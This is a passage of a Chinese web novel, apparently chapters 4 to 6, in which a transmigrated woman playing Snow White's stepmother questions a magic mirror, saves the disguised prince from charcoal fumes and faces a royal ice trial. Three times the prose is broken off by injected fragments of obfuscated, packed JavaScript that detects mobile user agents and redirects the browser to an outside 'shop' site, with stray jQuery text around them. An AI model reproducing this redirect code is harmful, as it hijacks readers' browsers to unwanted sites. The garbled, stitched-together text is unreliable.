“布瑞尔公主是您年幼时的被称呼最多的名字，您现在已嫁作人妇，自然是以洛尔兰的习俗尊称您为卡特琳娜·范维西陛下。” 她看着魔镜，上面不仅没有映照出她的模样，也没有任何可视的画面，仅仅是一个银色反光的镜面。她是这个童话世界的异旅人，她不知道暴露自己的身份会有什么后果，但她知道她不可能仅仅靠自己伪装下去。 不需要伊桑告发，她迟早都会露馅。 “但你早就知道我不是原来的卡特琳娜了吧？”她轻笑一声，向魔镜坦白，“无所不知的魔镜。” 这一天中，她见到了三个要她死的男人。即使她并不知道这面镜子背后是谁，却下定决心要将魔镜完全拉入己方阵营，这是她唯一的路。 “是的，我尊贵的主人。但无所不知的是全知天神，我不过是一面刚好知道一些大家都知道的事情的镜子而已。”魔镜谦虚地说道。 卡特琳娜听此，逐渐放松下来。即使她说明了身份，魔镜也称她为主人，看来她与魔镜之间有着某种难以斩断的链接，又或者是这面镜子隐藏得很深，还有求于她。 “我如何才能回到我的世界去？”卡特琳娜没忍住问出了自己最想问的问题。 魔镜却像突然卡壳了一样，没有了回音。卡特琳娜怕它就此消失，略有些激动地吼道：“回答我！” 平静的镜面似乎起了水纹般的波澜，那魔性的嗓音竟颤抖着回答：“您已经在您最应该在的地方。” 卡特琳娜不满意它的话，再次问道：“什么意思？” 魔镜的嗓音恢复了沉稳，答：“这里，就是您的世界。” 我的世界？ 卡特琳娜见魔镜有问必答，但却并不一定是她想要答案，心里开始有了很多疑虑。她仔细思考了好一会儿，问：“之前我问过你，谁是世界上最美丽的人，你是如何得出答案的？” 她需要知道这个魔镜回答问题的原理是什么，也许它只是为了奉承她而回答的。 “首先，世界默认为我们目前所在的世界，即现界。”魔镜竟真的认真回答起她的提问，“其次，我知道现界所有能被人知道的人的面孔；然后，美丽的标准为世人皆认可的标准；最后，比对所有人的面孔，得出我最尊贵的主人您，是世界上最美丽的人。” 这听起来很科学，是一次对不同人类面孔的智能量化评分。 “那你为何说这是我的世界，你是如何得出答案的？”卡特琳娜步步紧逼。 “您问我，‘如何才能回到我的世界去’。您自现界出生、长大，您的世界理所当然是现在所在之地。”魔镜回答。 看来在魔镜的观念里没有她原来所在的世界。卡特琳娜一时失望，这确实不是一面无所不知的镜子，它的知识领域是有限度的。 卡特琳娜思忖片刻，继续问：“我问的所有问题，你都是如实回答我的吗？” “是的，我最尊贵的主人。作为您最忠实的奴仆，我会回答我知道的一切问题的答案，没有任何隐瞒和欺骗。但是，回答的正确与否、准确与否，无法超出我的能力范围。” 卡特琳娜点点头，即使它不是无所不知，但应该也算够用。 魔镜已经回答完这个问题，补充道：“只要您履行协议，在约定期限内，将我送回故乡，我便是您最忠实的仆人，会竭尽全力满足您的任何要求。” “故乡？期限？”卡特琳娜眉头一皱。果然，魔镜并不是白白称她为主人的。 “您在十年前嫁入洛尔兰时，与在下签订了协议。” 说着，魔镜的镜面展现出古怪的文字，并不是之前卡特琳娜在匿名举报信上见过的那种，而是更复杂的象形结构。她能看懂，十年为期，她要将魔镜送回它的故乡——永夜之都诺尔南都拉尼亚。 “若是今年结束之前您不能履行约定，您美丽的容颜、迤逦的身躯、尊贵的品性，甚至完美无瑕的灵魂，都将会与我一同禁锢在这永不见天日的镜子里。” 魔镜顿了一下，声音里竟含着笑意，“您的一切，将永远属于我。” * 简直是腹背受敌。 卡特琳娜没想到白雪公主故事里的恶毒继母竟然活得如此如履薄冰，似乎一个不留神便会在刀山火海中死无葬身之地。 不过比起不知何时会来到的冰雪审判，到明年将近一年，卡特琳娜还有时间去准备。 这个童话世界的时间计算方式与地球一样，同样是十二个月、春夏秋冬四个季节和一天二十四个小时，有着相同的太阳和月亮。说明这个星球的公转、自转、潮汐规律与地球可以说是复制粘贴，这样的日月天文现象让卡特琳娜严重怀疑这里就是地球。 但目前还没有冒险家探索完整个世界，并没有完整的版图供她参考。从魔镜透露的现界已知地点的地图来看，她所处的这个地方，与地球上的各个大陆似乎都不能完全重合。 现在是洛尔兰的深冬时节，一月底，时不时就会来一场大雪，将整个洛尔兰染成雪白。漫长的冬天是洛尔兰的标志，是人民生活的常态。 洛尔兰坐落在北大陆西北部，是一个国土面积非常小的君主制国家，因此只有一个城市，便是首都洛尔兰。 洛尔兰处于霸主拜厄和强权莫里安的交界地带，背靠亚连士雪山，腹含肯古丽湖，是军事必争之地，也属于夹缝中生存。洛尔兰受到拜厄与莫里安之间战争的影响，长年动荡，很少有安稳的日子。 国王海因里希·内华达·范维西也被称为范维西三世，那个让卡特琳娜叫他里希的男人，是一个结过两次婚的二婚男。 他在十四岁时便娶了青梅竹马的第一任妻子安娜，然后独自一人远赴拜厄的首都费里特独立大学攻读政治军事学。而安娜王后在结婚当年生下白雪公主玛利亚·安娜·范维西，直到四年后去世再没有见过丈夫一面。 范维西三世在妻子去世后，立即迎娶了比他大十一岁的拜厄帝国凯特罗琳女王的大女儿卡特琳娜。在拜厄帝国的驻军庇护下，洛尔兰终于进入了相对和平发展的稳定时期。 洛尔兰国内缺少可用之才，范维西三世的洛尔兰自卫军被拜厄驻军牵制，让洛尔兰从一个附属国逐渐往拜厄的远辖市发展。 这是任何一个国王都不想看到的。 怪不得恶毒继母卡特琳娜能肆无忌惮地虐待继女白雪公主，因为范维西三世是“入赘”的国王，他根本不敢管卡特琳娜在王廷作威作福。 但为什么他又敢威胁继后去指认情人神父伊桑？这是卡特琳娜怎么也想不通的一点。 卡特琳娜觉得惊奇，她比海因里希年长十一岁，已经是三十九岁的老女人了，但镜子里她的容颜非常年轻。仔仔细细看的话，她甚至比二十八岁的海因里希还要显小，不过二十出头的样子，是极青春美丽的少妇人。 果然是魔法世界吗？ 卡特琳娜来不及细问魔镜，时间已经很晚，入夜也有好几个小时。 “王后陛下，您还去餐厅用餐吗？” 当简妮敲门提醒她去用餐，卡特琳娜才从虚幻的地下室中回过神，用遮布将铜镜盖上。她手中出现了一枚极简单的没有任何装饰的椭圆形的银色项链坠，打开后是拇指盖大小的镜面。 她将项链挂在脖子上，这是她与魔镜的新交易。 虚幻的地下室是卡特琳娜的灵空间，魔镜依附她存在于那里。只有通过她的肉身，魔镜才能以真实镜子的样子出现在现界，而不只是她的灵空间。 这样一来，魔镜便能够随时随地回答她的疑问，帮助她了解这个陌生的世界，规避让人猝不及防的危险。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13632550|143623||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“去。”卡特琳娜向简妮答道。 她在简妮的带领下来到了王宫餐厅，十米长桌的一头仅她一人，旁边站立着贴身女仆简妮和内务大臣名威廉姆。 威廉姆是一位老年绅士，负责洛尔兰王宫的基本内务，相当于总管家。除了内务大臣，还有财务大臣和监侍大臣，相当于财务处处长和保卫处处长。 洛尔兰王宫虽小却五脏俱全，在卡特琳娜的管理下与拜厄帝国的宫廷体制愈发接近了。 卡特琳娜看着桌上的菜有些傻眼，一片面包两片培根半个鸡蛋，一盘生蔬菜一盘浓糊糊的玉米汤，这王宫吃的还不如她平时的小零食呢！ 她也不太好说什么，毕竟卡特琳娜平时应该吃的就是这些。她问威廉姆： “国王呢？” 威廉姆愣了一下，估计没想到她会提起国王，过了好几秒才回答说：“国王陛下现在应该是城外营地，等冰雪将至时会再进城。” 十年了，这对夫妻连饭都不一起吃，完全的政治联姻性质，恐怕一丝感情都没有。 卡特琳娜点点头，吩咐道：“把玛利亚公主叫过来吧，我们母女俩一起用膳……再让厨房多上几个菜，比如烤鸡、鲑鱼、胡桃面包、焦糖布丁、黑胡椒羊排什么的。” 威廉姆立即派了侍从去叫白雪，却在加菜这点面露为难的神色，说：“陛下，您忘记了吗？十四团打劫了运往洛尔兰的粮车，宫中贮备已不足。还要为新月节做准备，恐怕……” 魔镜的声音当即在卡特琳娜耳边响起，为她解释这些陌生词汇的含义。 洛尔兰国土面积小，土地贫瘠，还要养着洛尔兰自卫军和拜厄驻军两大军队，粮食根本不够用。到了一月底，上一年的贮备已快耗尽。 新月节在每年的二月十五，是冰雪神教信徒心目中的新年。洛尔兰有近一半国民信仰冰雪神教，当日会举国欢庆，王室每年的惯例是国王携王后向民众派发珍贵的食物。 洛尔兰冬季漫长饮食单调，女王凯特罗琳怕女儿受苦，每年都会在新月节前派车队送十辆拜厄的特色食材来。 十四团则是在亚连士雪上的一伙土匪，主要由莫里安南部的流民组成，时常在洛尔兰和拜厄北部一些村庄打家劫舍。近年那伙人来猖狂不已，打劫了好几拨来往的商队不说，还在上个月抢了拜厄送到洛尔兰宫廷的粮车。自卫军推断，十四团可能是莫里安故意放到边境扰乱他们治安的存在。 别看宫廷奢华，连王后都快要吃不起饭了，可以想象下面的民众该有多穷苦！卡特琳娜听着开始理解海因里希，他若是不“入赘”拜厄，估计洛尔兰这个国家在十年前就已经被干掉了。 白雪那孩子，出生在这样一个穷苦的国家，会不会是怕继母忌惮他继承王位，所以才男扮女装？真是可怜。 即使食物贮备不足，厨房还是多呈上来了一些菜，胡桃面包、烤红薯和鸡蛋。虽然看起来不怎么样，但卡特琳娜馋得肚子咕噜噜叫唤，努力忍着等待白雪的到来。 “回禀陛下……”简妮犹犹豫豫走回来，低着脑袋，似乎是对卡特琳娜有些惧怕，“公主，公主说她不要过来。” 卡特琳娜沉默了两秒，做出大度的姿态说：“可以理解，正是叛逆的年龄嘛！给她打包点好吃的，晚点我去看看她，给她些当做夜宵。” 说完，卡特琳娜迫不及待地用叉子叉起一块培根放进嘴里，这是餐桌上唯一的肉食，然后她似乎理解了公主为什么不愿意来和她一起吃饭。 苍天啊！她第一次吃到这么难吃的培根，不仅特别咸，还有些生！ 卡特琳娜将培根吐到盘子里，不甘心地舀了一口玉米浓汤，瞬间脸都黑了，顿时丧失全部胃口。这，这汤好腥啊！不行了，吃一口面包，我去，这是石头做的吗？太硬了点！ 实在吃不惯白人菜。 卡特琳娜看着这一桌子菜无语了，没一样能吃的！她开始怀念起中式家常菜，番茄炒蛋、茄子烧肉、土豆焖鸡……她想回地球了，或者有机会让她亲自做，厨师这手艺不如回家种菜！ 她硬着头皮勉强吃饱，然后让简妮把剩下的菜打包。虽然给白雪吃她的剩菜不太好，但毕竟国库紧张，不能浪费嘛。 “走，带我去公主的住处。”她吩咐简妮道。 5. 恶毒巫婆（已修） 简妮拿着打包好的餐盒，低眉顺眼犹犹豫豫，似乎是怕卡特琳娜有什么坏主意针对公主，露出那种既畏惧又无奈的表情，说：“陛下，公主这时候可能睡下了……” “才这么早就睡了？”卡特琳娜不太相信。 “当然，公主已经做完您吩咐她的清洁工作，将侧殿的积雪都清扫过了。”简妮赶紧替公主解释。 小小年纪还要做仆人做的清扫工作，公主真是不容易啊。 卡特琳娜心里想着，但还是打算去看看白雪的居住环境，说：“我只是去看一眼，把吃的留给她，不会太打扰。” 在简妮的带领下，卡特琳娜走到了传说中的白雪公主住的侧殿旁的小屋。 这里与宫廷的装饰大不相同，地段偏僻，草木众多，房屋简陋，只有必要的家具和用品，任谁看了都不会以为是王宫，大概会觉得是走进了简朴贫穷的民居。 冬夜的冷风呼啦啦吹着，由内而外的寒意让卡特琳娜不禁瑟缩着身子。她借着提灯微弱的光芒，透过窗户看到了屋里睡着的玛利亚。 那个扮作女孩的小王子躺在简陋的木板床上，身上只盖着一张薄薄的小棉被，但他睡得很安稳，既没有发抖也没有蜷缩。 他的床边有一个烧着火的炭盆，是整个屋子里的温暖来源。 不愧是里希的儿子，雪白的小脸睡得红彤彤，小嘴也如樱桃般红润。本来之前就觉得白雪的嘴唇像樱桃，现在更是红得成了真的樱桃…… 卡特琳娜这样想着，突然发觉了问题所在，她惊叫一声：“不好！” “陛下？”简妮被吓了一跳。 卡特琳娜急冲冲到屋门口，说道：“快把门窗打开！” 嘴唇红得像樱桃，是明显的一氧化碳中毒表现！白雪的床边就放着炭盆，这明显就是出事了！冬季用壁炉取暖一定要疏通好管道，让气体通过烟囱散到室外，不然很容易有类似的危险情况发生。 卡特琳娜立即将门窗打开通气，同时站在门边呼唤白雪：“玛利亚！你快醒醒！你能听到吗？” 白雪没有任何反应，仍睡在床上一动不动。简妮着急了，她想要冲进去，却被卡特琳娜一把拉住。 卡特琳娜急忙说：“现在里面都是一氧化碳，很危险！不能进去，你赶紧去叫医生来！” 简妮听到她的吩咐，犹豫了一下还是转身去找医生。 卡特琳娜怕屋里都是有毒气体，等冷风吹了一会儿才捂住口鼻冲进去。她将白雪抱出了房屋，解下自己的毛皮斗篷让白雪躺在上面。 小男孩穿着很薄的睡衣，浑身软绵绵，已经陷入了昏迷。 白雪看着只有十一二岁，但实际上已经是十四岁的男孩了，正是青春发育的时期。但由于长期营养不良，身体比同龄的小孩要瘦小很多。 “玛利亚！玛利亚！” 卡特琳娜叫他，他完全没有反应，甚至呼吸脉搏都有些微弱。卡特琳娜之前学习过急救，这时候也顾不上别的，稍微将玛利亚的领口解开，对他进行标准的人工呼吸。 “医务官来了！”简妮拉着一个老人飞奔而至，监侍大臣爱达荷也带着几个侍卫赶到。 经过卡特琳娜的抢救，玛利亚暂时恢复了呼吸，但神志没有清醒。卡特琳娜赶紧站到一旁，让医务官给玛利亚治疗。 医务官菲利普将一瓶药水灌入玛利亚口中，让侍卫将玛利亚抬到担架上。 “先送把他送到我的寝殿吧。”卡特琳娜觉得这是一个表现自己不是恶毒后妈的好机会，她当着众人的面说，“方便我贴身照顾她。” 周围众人似乎倒吸了几口凉气，但却不敢质疑卡特琳娜的决定。 医务官菲利普鼓起勇气对卡特琳娜说：“陛下，公主殿下现在已经脱离了生命危险，倒也不必……” 卡特琳娜打断了他，坚持道： “玛利亚身体弱，一氧化碳中毒可不是什么小事，我怕有什么后遗症，最好还是由我来亲自照顾她。” “什么什么中毒？”菲利普听疑惑了。 卡特琳娜才想起来这里是童话世界，世界背景与北欧中世纪相似，甚至未达到电气时代的水平。人们对科学的认知非常有限，没有门捷列夫，没有化学元素，自然也就不存在对一氧化碳的了解。 即使他们知道在密闭空间烧炭会有致人昏迷甚至死亡的危险，却不知道这种危险的来源是什么。 卡特琳娜不动声色地转移话题对侍卫说：“外面风大，天气严寒，别再把公主吹伤了，你们快把她送过去！” 侍卫们将玛利亚抬到了卡特琳娜的寝殿，将她安放在那张柔软温暖的大床上。菲利普见玛利亚皮肤泛红，将其诊断为“血溢症”，要对她实施放血治疗。 卡特琳娜大惊，这童话世界里的医生不仅不了解一氧化碳中毒，还要采取这么激进的手段，实在令人大跌眼球。她立即阻止了菲利普并让他退下，给了玛利亚足够温暖的床和足够通气的空间。 她将玛利亚安顿睡下后，自己也有些困了。但她还不能睡，她还没有解决伊桑的事情。 在明天下雪后，伊桑将面临冰雪的审判。他很有可能当场说出她不是真正的卡特琳娜的事实，到时候不只是海因里希会拿下她，可能还会惊动远在费里特的凯特罗琳女王。 卡特琳娜守在白雪身边，让简妮和其他仆从都退下，重新进入了自己的灵空间与魔镜对话。她感觉到无比疲惫，眼睛都有些睁不开。 “怎么这么累？”她现在全凭意志力支撑了。今天也没做什么啊？也就是跟白雪搏斗了两下，在广场跟两个男人互动了一会儿，刚刚又救下一名中毒患者，怎么会呢…… 魔镜回答她：“我尊贵的主人，您消耗了太多灵力，当然会感觉到累。我存在于您的灵空间中，依附于您存在，您要接收到我的回答，必须消耗相应的灵力。所以，您提的问题越困难，接收到答案时您所消耗的灵力便越多。” 原来，她这么累是因为跟魔镜说了太多话了！ 但又能怎么办呢？她对这个世界一无所知，对卡特琳娜也一无所知，她只能依靠魔镜提供的信息来决定接下去做什么。 卡特琳娜摆摆手，道：“好了，那就不说废话了，告诉我，卡特琳娜她真的跟全知神教的神父伊桑有奸情吗？明天冰雪降临会是在什么时候？” * 不知何时，卡特琳娜竟然趴在床边睡着了。 她太累，似乎实在跟魔镜说着说着话的时候睡过去的，这一醒已经是第二天清晨，脖子酸痛得厉害。 卡特琳娜本可以拉铃召简妮上早餐，但想到简妮也忙了一夜，而且这里的饮食太过难吃，便准备自己去厨房做点能入口的吃食，也给玛利亚煮点什么。 至于神父伊桑，魔镜的天气预报显示，这天会在入夜前下雪，所以她准备中午的时候带点吃的去关押神父的地方给他送点“断头菜”。 洛尔兰王宫外观豪华，但拢共却没多少宫侍。 这大清早的，卡特琳娜走路上都没碰见人。但魔镜给了她详细的王宫地图，她大概知道路怎么走。 她走到厨房外，正准备往里进，听到了女人聊天的声音。 “我们玛利亚公主多可怜，差点就要被那蛇蝎心肠的毒妇害死了！” 一个老女人的声音，应该是负责餐具清洗的黛西大婶，她体型肥胖，声音浑厚有力，满是对卡特琳娜的嫌弃。 “你说话小点声，要是被别人听到了该怎么办？”简妮低声劝阻。 黛西大婶却更大声了，对玛利亚公主满是怜惜： “听到了又怎么样，谁不知道那毒妇是全世界最恶毒的婆娘。她害得我们玛利亚公主瘦成那样，还成天让她干各种杂活，动不动就对公主打骂。这都入冬了，还只让公主穿着秋日的衣服，就算是平民的孩子也没有这样挨冻的！ “而且，她这次还要害公主去死！她真是该下地狱！” 卡特琳娜听得都惊呆了，她什么时候要害公主去死？这次又是哪次？ 大厨布莱恩也觉得黛西说得太多，提醒道：“你可别乱说，菲利普先生说的是疑似，疑似，可别传到别人那里去……” 黛西哼哼道：“疑似？那毒妇说的什么，什么一氧什么东西你们听说过吗？我们听都没听说过！就她知道玛利亚公主中的是什么毒，哪里有这么巧合的事情？简妮，你就说我说的有没有道理？这件事肯定就是毒妇卡特琳娜干的！” “你可真的别再说了……这要是被王后听到……”简妮不敢正面作答。 “哎，可怜了我们玛利亚，小小年纪就没有了亲生母亲。如果安娜王后还在世，她那么善良，一定能让玛利亚，让我们过上更好的生活……” 他们聊着聊着聊到了过世的王后身上去，语句里都是对安娜王后的怀念和惋惜，都是对现在卡特琳娜王后的憎恶与厌烦。 卡特琳娜并不是真正的卡特琳娜，听到这些贬低的话语也在心里跟着骂恶毒后妈，同时又觉得自己好难，竟然穿越到这么一个不得人心的女人身上。 她再美丽又有什么用呢？ 没有人喜欢她，所有人都恨她、怕她。她是一株带着毒刺的黑玫瑰，再美丽也无人欣赏。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13632551|143623||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 卡特琳娜没再往后面听，她悄悄离开。 恶毒？既然她的形象已经这样不堪，那她再做任何离谱狠辣的事情也不会让人惊讶。她轻笑一声，心里的谋划越发清晰。 她回到卧房的时候，白雪已经醒来。 他坐在床上，用被子裹住身体，用依旧怨恨的眼神看向她。 “你这个阴险的坏女人！你对我做了什么？”他尖声问道。 卡特琳娜晚上没睡好，此刻听到这样尖利的声音只觉得头痛，她耐着性子回答说： “我的宝贝玛利亚，你的房间炭火烧得空气不足，你在睡眠中中毒了，昏迷了一夜。我发现了你，让侍卫们把你转移到这里方便观察病情。现在你感觉好点了吗？” “我好的很！” 玛利亚立即掀开被子往床下跳，对卡特琳娜非常提防。 “宝贝，你多穿点衣服吧，别感冒生病了。” 卡特琳娜打开衣柜，里面只有她自己的华丽的服饰，并没有适合玛利亚的尺寸。卡特琳娜也不觉得尴尬，她随便拿了一件裘衣给玛利亚披上，把他按回去床上。 “放开我！” 玛利亚挣扎着，但在中毒后遗症的影响下他没什么力气，只能任由卡特琳娜摆布。 “你要多休息，我让简妮给你拿些吃的过来，你可以再睡睡觉。” 卡特琳娜强硬地按住他，眯起眼睛，嘴角弯起危险的弧度。她贴住玛利亚的耳朵，轻声说：“虽然你是男孩子，但在大家的眼里你是公主，你在适当的时候不用逞强。” 听到恶毒继母这样说，玛利亚瞪大了眼睛，浑身战栗，这是最明显不过的威胁！她已经知道了他是男孩的真相，他不禁捏住拳头。 昨晚卡特琳娜问过魔镜，想知道白雪男扮女装的原因。魔镜的回答是：“这是一个只有极少数人知道的秘密，如果您想要听我所了解到的答案，则需要付出一定的代价。” “什么代价？”卡特琳娜问。 “您的灵力将全部耗竭，您将陷入昏迷，恐怕要十几天甚至一两个月才有苏醒的可能。” 这个代价有点大，很耽误事儿，卡特琳娜便没有再问下去。魔镜不只不是无所不知，它的答案如果代价太大，她不如不知道。 卡特琳娜看着白雪愤恨的样子，面无表情地将他按回被窝里。 她拉铃召简妮端了牛奶和面包，让玛利亚吃过之后继续睡。他现在的身体情况，需要更多休息，补充更多的营养。 卡特琳娜准备找机会去见神父伊桑，却听到宫侍的通报。 “国王陛下回宫了。” 海因里希长期不住在宫廷，都是在城外洛尔兰自卫军的营地过夜。宫廷内务基本上是由卡特琳娜掌管，他则死死握住了骑士团和自卫军的兵权。即使卡特琳娜时不时会干涉洛尔兰内政，但也不敢直接与兵权在握的海因里希撕破脸皮。 卡特琳娜听了魔镜对海因里希的描述，并不觉得他是个蠢人，但为何之前会犯那么明显的逻辑错误，让她来指认神父伊桑的罪行？ 除非，他有信心，王后一定会出面指认……只可惜现在的卡特琳娜内里换了一个人，她已经不是以前的卡特琳娜了。 王后寝殿的门被打开，海因里希穿着骑装踏了进来。 他仅脱了头盔，身上还穿着铠甲，步伐很急，腰间的长剑撞在铠甲上，发出碰撞的响声，有着绝对的威严。 他进屋后便站定在原地，锋利的眉眼像是不会有任何情绪。他将屋里包括医者、仆人和侍卫在内的闲杂人等都驱赶出去，只留下了卡特琳娜和躺在床上的玛利亚。 他坐到玛利亚的床边，看着公主的睡颜，用手轻轻拂过一缕发丝。 “国……里希。”卡特琳娜第二次见里希，还是被他那俊美的容颜惊艳，尊贵优雅的国王在穿上铠甲后倒真像一个杀伐果断的将军。 怪不得民间都传说卡特琳娜倒贴也要下嫁给他，这形象确实容易令人一见钟情难忘终身。 卡特琳娜心里惊叹里希的美貌，没注意到他高大的身躯突然接近，将卡特琳娜逼退到墙边。他的手扶住卡特琳娜的肩膀，然后慢慢往上，突然掐住了她的后颈。 “王后，马上就要下雪了，请务必到审判现场。” 他深蓝色的眼睛在昏暗的光线中闪着幽光，似乎下定了某种决心。 卡特琳娜一瞬间恍惚，以为是玛利亚长大了来找她寻仇。这对父子有着同样美丽的面庞，也有着同样凶狠的眼神。 看来，比起儿子的身体健康，他更关心能不能把给他戴绿帽子的男人杀了。 6. 冰雪审判（已修） 海因里希确认玛利亚安然无恙之后，竟兴冲冲走了，看来是迫不及待想要对神父伊桑进行审判。 卡特琳娜赶紧询问魔镜：“怎么回事，你不是说要在入夜前才会下雪吗？” “是的，我尊贵的主人。”魔镜在第一时间回答了她的问题，“根据我的气象学知识，以及对气象变化的观测，今日入夜前下雪的发生概率高达百分之八十以上。” “那为什么海因里希会说马上就要下雪了？他看起来非常确信。”卡特琳娜不免心慌，她已经有了谋划，打算在审判前将伊桑从狱中救出。 从魔镜那儿她得知卡特琳娜在宫廷和教会培养了不少跟随者，甚至有几个骑士团的身居要职的亲信，而且城外肯古丽湖畔驻扎的拜厄驻军更是听命于她。 只要她做的足够隐秘，她有信心能够将伊桑救出来并安全离开洛尔兰。 她必须将伊桑救出来，因为曾经的卡特琳娜王后与全知神教的神父伊桑确实有奸情。如果在冰雪审判中这一真相被揭露，伊桑势必会将她假冒王后的事情公之于众。 她必须阻止。 “这……”魔镜无法给出准确的答案，于是提出了合理的推测，“自卫军中有一位叫做布莱克的天气术士，是海因里希最信赖的人。也许，他将动用魔法，召唤冰雪降临，然后对伊桑进行冰雪审判。” 对了，这是童话世界，这里充斥着各种魔法和巫术，甚至还有幽灵和魔鬼。 “冰雪审判究竟是如何进行的？”卡特琳娜问。 根据北大陆最普及的教科书记载，世界始于创世神乌克亚，她拨开了混沌，将世界分成了天和地，她的一只眼睛成为了太阳，一只眼睛成为了月亮。她降身于世，她走过的地方长出了树木，有树木的地方出现了生灵，最后她的影子变成了人类。 她给予了世界魔法源动力。 基于乌克亚的形象，北大陆的主流教派是全知神教。其后，又相继出现太阳神教、深渊神教、风暴神教和冰雪神教。 拜厄自古以来都是信仰全知神教，教会的势力连王室都不敢轻视。但自凯特罗琳女王加冕以来，推行二元制君主立宪制，意图架空教皇肯*沙穆的权力。两位大人物明争暗斗持续到现今，王室和教会仍未分出明显的胜负。 莫里安举国信仰冰雪神教，又是高度中央集权的君主制国家。莫里安国王自称冰雪之子，他本人即是冰雪女神在现界的代言人，根本轮不到教会掌权。 范维西一世宣称为洛尔兰君主后，洛尔兰一直是宗教自由地区。绝大部分民众信仰全知神教和冰雪神教，也有其他信仰存在。但范维西二世登基后，在莫里安的怂恿下，立即改信了冰雪神教，推倒了国内其他教会的建筑，解散教会组织，甚至明目张胆杀害全知神教信徒。 此举惹怒了远在费里特的全知神教教皇肯*沙穆。 当时十八岁的海因里希正在费里特独立大学攻读政治军事学硕士学位，被全知神教关押起来。肯*沙穆威胁范维西二世，若是继续亵渎伟大的全知神，他便会将海因里希*内华达*范维西献祭。而范维西二世根本不在乎自己儿子的生死，一心要皈依冰雪神教。 最后，是女王凯特罗琳从中调解，让海因里希娶了自己的女儿卡特琳娜，并让他做出承诺——他会将亲生父亲拉下王位，自己成为洛尔兰的王，并扶持全知神教在北方的势力。 然而，海因里希并非全知神教的信徒，他本人也信仰冰雪神教。他答应了女王和教皇，签订了屈辱的协议，让洛尔兰又变回了宗教自由地区。但从那以后的洛尔兰，全知神教与冰雪神教之间的矛盾愈发尖锐。 海因里希是洛尔兰的王，同样也是冰雪女神的子民，他从范维西二世那里继承了冰雪的庇佑，其中包括每一个冰雪地区都会有的冰雪审判之剑。 冰雪女神赋予冰雪审判之剑以审判之力。 审判之剑需提前立于空旷之处，在冰雪自天而降后将逐渐凝集审判之冰。 此时，罪人跪在审判之剑面前等待审判。一位纯洁的雪圣女手持冰灯立于审判之剑后，让审判之剑的影子完全覆盖住罪人。受害者念诵出罪人的罪名，若是罪名成立，审判之剑的影子将会凝结成冰，将罪人冰冻在其中，对罪人处以死刑。 冰雪审判在北方地区曾非常流行，神的审判绝对公平公正。但由于其无论罪名大小，皆处以死刑的特点，逐渐被闲置。除非是对极其重大的罪行的审判，不然很容易轻罪重罚，不得民心。 “它的原理是什么？怎么判断这个人是不是真的有罪？”卡特琳娜仍有疑惑。 魔镜笑了一声，道：“这涉及到冰雪神的秘辛，即使我知道，也不能告诉你。不说你知道后会昏迷多久，就是你在知道她秘密的瞬间，就会成为神的眼中钉。” 这个世界真的有神？ 卡特琳娜不得不信，这是童话世界，有神是很正常的事情。既然她知道冰雪审判的流程，那她就有解救神父的线索。 “我尊贵的主人，不需要问我有什么建议吗？”魔镜提醒她。 卡特琳娜挑了挑眉，说：“你的建议不是白给的，你已经吸取我太多灵力了，我害怕我撑不到赶去现场。” “也不一定是您的灵力。”魔镜笑道，“根据等价交换原则，您还可以为我做别的相同价值的事情。” 卡特琳娜摸了摸脖子上的项链坠，这是之前他们的一项交易。她以自己的身体为媒介让魔镜出现在现界，魔镜随时能通过灵空间与她交谈，而不只是局限在她寝殿的铜镜中。这看起来对她的好处更多，但魔镜肯定也获得了一些益处，只是没有主动让她知道。 “不必了。”卡特琳娜并不能完全信任这个只闻其声、不见其真形的镜子，“我自己想到了一个办法。” * 她在卫队的护送下达到了神教广场。 海因里希和他的骑士团早在这里等着了，看热闹的国民们被卫队兵士拦在外围。其中有一个穿着深蓝色长袍的中年男人在远处立了一张桌子，桌子上放着许多卡特琳娜不认识的摆件，还烧着不同颜色的蜡烛。 他应该就是天气术士布莱克，正在举行仪式召唤冰雪降临。 昨天卡特琳娜什么都不知道，所以没有认真看过这个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13632552|143623||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 国家最大的神教广场。今天她知道了洛尔兰两大教会间的斗争，才发现在全知神之子卢*沙穆雕像的正对着两百米外的白色建筑，就是冰雪教堂的所在。 一个神教广场，却同时面对面立着两个势均力敌的教会。 卡特琳娜还没有完全走近海因里希，一只乌鸦突然飞过来停在她的肩膀，对她说了一句话。她还来不及反应，那只乌鸦又飞走了。 “陛下，第七军已在城外备战，听候您的命令——您忠诚的骑士卡洛斯。” 第七军是拜厄在洛尔兰的驻军编号，卡洛斯上将是总指挥。看来驻军得知了洛尔兰城内的变动，已经采取了行动。 面对拜厄的雄厚兵力，洛尔兰根本不堪一击。 海因里希怎么敢的？ 卡特琳娜不动声色地走到国王身边，说：“里希，我如约而至。” 